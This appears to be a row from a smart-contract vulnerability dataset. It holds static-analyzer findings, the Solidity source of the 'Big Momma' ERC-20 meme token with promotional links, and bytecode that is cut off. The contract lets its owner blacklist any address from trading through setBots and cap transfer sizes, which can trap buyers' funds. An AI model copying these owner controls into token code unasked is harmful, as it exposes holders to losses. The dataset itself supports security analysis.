60020a038416916370a082319160248083019260209291908290030181600087803b15801561101e57600080fd5b505af1158015611032573d6000803e3d6000fd5b505050506040513d602081101561104857600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156110bc57600080fd5b505af11580156110d0573d6000803e3d6000fd5b505050506040513d60208110156110e657600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461111357600080fd5b600160a060020a0381161561114b576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a0316331461116857600080fd5b5060005b828110156111a15761119984848381811061118357fe5b90506020020135600160a060020a0316836112cb565b60010161116c565b50505050565b60008215156111b8575060006108e4565b508181028183828115156111c857fe5b04146108e457fe5b600d5460009060ff16156111e357600080fd5b6009546111f6908363ffffffff6112ac16565b600955600160a060020a038316600090815260026020526040902054611222908363ffffffff6112ac16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206113f68339815191529181900360200190a350600192915050565b818101828110156108e457fe5b6000828211156112c557fe5b50900390565b600154600160a060020a031633146112e257600080fd5b600081116112ef57600080fd5b600854600954106112ff57600080fd5b600160a060020a038216600090815260026020526040902054611328908263ffffffff6112ac16565b600160a060020a038316600090815260026020526040902055600954611354908263ffffffff6112ac16565b60098190556008541161136f57600d805460ff191660011790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206113f68339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582001f4896a5c7bbbdfba642bbe7149cf554ee063a1e7eb8164469669ab4eba14a30029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,057
0xd6b76f325daf49e3d9755189cccfe487a0cbc9e3
/* 📥Telegram: https://t.me/BigMommaETH 🐦Twitter: https://twitter.com/BigMommaETH ⚙️Dextools: https://www.dextools.io/app/uniswap/pair-explorer/0xd6b76f325daf49e3d9755189cccfe487a0cbc9e3 🔋 4% to marketing wallet 🔧 6% dev wallets 📝 1 Trillion total supply */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BigMomma is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Big Momma"; string private constant _symbol = 'MOMMA️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 0; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f426967204d6f6d6d610000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d4f4d4d41efb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffff